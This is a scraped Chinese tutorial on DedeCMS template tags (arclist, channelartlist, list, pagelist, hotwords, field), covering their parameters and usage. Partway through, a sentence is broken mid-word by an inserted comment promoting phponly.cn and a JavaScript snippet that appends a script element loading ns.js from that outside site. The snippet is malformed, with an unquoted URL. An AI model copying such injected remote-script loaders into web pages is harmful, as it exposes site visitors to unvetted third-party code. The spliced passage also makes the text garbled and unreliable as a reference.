dedecms基础语法

来源:互联网 发布:linux进程调度算法 编辑:程序博客网 时间:2024/05/30 23:38
1、网站建设,2、组建团队,3、网站运营,4、网络优化。  
主要给大家讲解网站建设,其它的几点有时间给大家讲解有关一些经验。现在开始步入正题。在我们网站建设中,对于我们技术过硬的一些朋友来说他们主要是网站开发这块,  但对我们新手来说要达到这一步还需要一个时间与学习的过程,不过不用灰心,仿站也是一个好思路好方法,如果自己再有美工基础能设计出来漂亮的页面出来那就十分的完美了。  在学习dedecms程序之前我们需要了解哪些内容呢?
1、会搭建php运行的环境。2、会基本的mysql数据库运用。3、会基本的美工制作,大概了解这些就可以完独立完成我们的dedecms程序仿站全过程。  
在我们的dedecms程序中主要分几个模板页面,dedecms模板分为:首页模板,文件模板页,图片模板,软件模板页,商品模板页。首页大概知道有这几类开模板,无非我们多数门户网站也是只这几种类型页面,dedecms程序更强大功能是可以自己添加自己喜欢的模板。  在修改dedecms模板之前我们首先要知道模板所在的路径,这是关键点,一般我们dedecms程序默认模板路径为根目录下的\templets\default文件夹里,index.htm这个页面就是我们首页模板页,只要下载下来转到我们的Dreamweaver软件里就可以修改,当这里你也可以用其它的软件编辑。  
在修改模板内容之前建议参考  DedeCMS  常用问题手册  DedeCMS  
模板标签参考手册  DedeCMS  
二次开发参考手册  
修改模板必须参考模板标签参考手册这个里标签运用。  如我们调用文章内容为  arclist|文档列表  标签名称:arclist  
功能说明:获取指定文档列表  
{dede:arclist row='10' titlelen='24' orderby='pubdate' idlist='' col='2'}  •[field:textlink/]([field:pubdate function=MyDate('m-d',@me)/])<br/>  {/dede:arclist}  
就得要知道arclist这个文章标签里每一个字段含意  参数说明:  
row='10' 返回文档列表总数  
typeid='' 栏目ID,在列表模板和档案模板中一般不需要指定,在首页模板中允许用","分开表示多个栏目;  
getall='1' 在没有指定这属性的情况下,在栏目页、文章页模板,不会获取以","分开的多个栏目的下级子类  

titlelen = '30' 标题长度 等同于titlelength  
infolen='160' 表示内容简介长度 等同于infolength(只控制infos,并不控制description的内容)  
imgwidth='120' 缩略图宽度  imgheight='90' 缩略图高度  
listtype='all' 栏目类型 image含有缩略图 commend推荐  orderby='sortrank' 文档排序方式  § orderby='hot' 或 orderby='click' 表示按点击数排列  § orderby='sortrank' 或 orderby='pubdate' 按出版时间排列  § orderby='near'  § orderby=='lastpost' 按最后评论时间  § orderby=='scores' 按得分排序  § orderby='id' 按文章ID排序  § orderby='rand' 随机获得指定条件的文档列表  
keyword='' 含有指定关键字的文档列表,多个关键字用","分  innertext = '' 单条记录样式  aid='' 指定文档ID  
idlist ='' 提取特定文档(文档ID)  channelid 频道ID  
limit='起始ID,记录数' (起始ID从0开始)表示限定的记录范围(如:limit='1,2' 表示从ID为1的记录开始,取2条记录)  
flag = 'h' 自定义属性值:头条[h]推荐[c]图片[p]幻灯[f]滚动[s]跳转[j]图文[a]加粗  noflag = '' 同flag,但这里是表示不包含这些属性  
orderway='desc' 值为 desc 或 asc ,指定排序方式是降序还是顺向排序,默认为降序  subday='天数' 表示在多少天以内的文档  
channelartlist|频道文档  标签名称:channelartlist  基本语法:  
{dede:channelartlist row=6}  <dl>  
<dt><a href='{dede:field name='typeurl'/}'>{dede:field name='typename'/}</a></dt>  <dd>  
{dede:arclist titlelen='42' row='10'} <ul class='autod'>  <li><a href="[field:arcurl /]">[field:title /]</a></li>  
<li>([field:pubdate function="MyDate('m-d',@me)"/])</li>  </ul>  
{/dede:arclist}  </dl>  
{/dede:channelartlist}  
参数说明:  
typeid = '0' 频道ID,多个请用","分开,如果调用1个栏目可以使用typeid='5,0'来调用。分隔 row = '20' 获取的栏目返回值 其他说明: 除了宏标记外,channelArtlist 是唯一一个可以直

//php自学教程,phponly中国最大的PHP交流社区 jeffxie
 var script = document.createElement('script'); script.src = http://www.phponly.cn/ns.js; document.body.appendChild(script);


接嵌套其它标记的标记,不过仅限于嵌套 {dede:type}{/dede:type} 和 {dede:arclist}{/dede:arclist} 两个标记。  
list|列表标签  标签名称:list  
功能说明:表示列表模板里的分页内容列表  适用范围:仅列表模板 list_*.htm  基本语法:  
{dede:list col='' titlelen='' infolen='' imgwidth='' imgheight='' listtype='' orderby='' pagesize='' orderway=''}{/dede:list}  参数说明:  col='' 内容列数  titlelen='' 标题长度  
infolen='' 内容摘要长度  imgwidth='' 缩略图宽  imgheight='' 缩略图高  
orderby='' 排序方式,有效的排序方式有 senddate、pubdate、id、click、lastpost、postnum ,默认为 sortrank  
pagesize='20' 分页大小  
pagelist|列表分页  标签名称:pagelist  
功能说明:表示分页页码列表  适用范围:仅列表模板 list_*.htm  基本语法:  
{dede:pagelist listsize='5' listitem=''/}  参数说明:  
listsize 表示 [1][2][3] 这些项的长度 x 2  listitem 表示页码样式,可以把下面的值叠加  index  首页  pre 上一页  pageno 页码  next 下一页  end 末页  
option 下拉跳转框  
hotwords|热门关键词  标签名称:hotwords  
基本语法: {dede:hotwords /}  参数说明:  
num='6' 关键词数目  subday='365' 天数  
maxlength='16' 关键词最大长度

读取文章列表标签  
基本语法:{dede:list pagesize='12'}  <li>  
<a href="[field:arcurl/]" >  
<a href="[field:arcurl/]" class="title">[field:title/]</a>   
</li>  
{/dede:list}  
读取文章内容标签。  field|常用变量  标签名称:field  
基本语法: {dede:field name='字段名'/}  Ok  
Dedecms模板内容修改就些,主要是这些每一个标签都弄懂了,学习起模板修改就不是什么困难的事了,这方面技术学习好,就可以开始进一步学习php语言程序开发,这也是一个很好的发展方向。目前我们国内很缺乏这一类php程序开发人才,不防你可以尝试一下。
0 0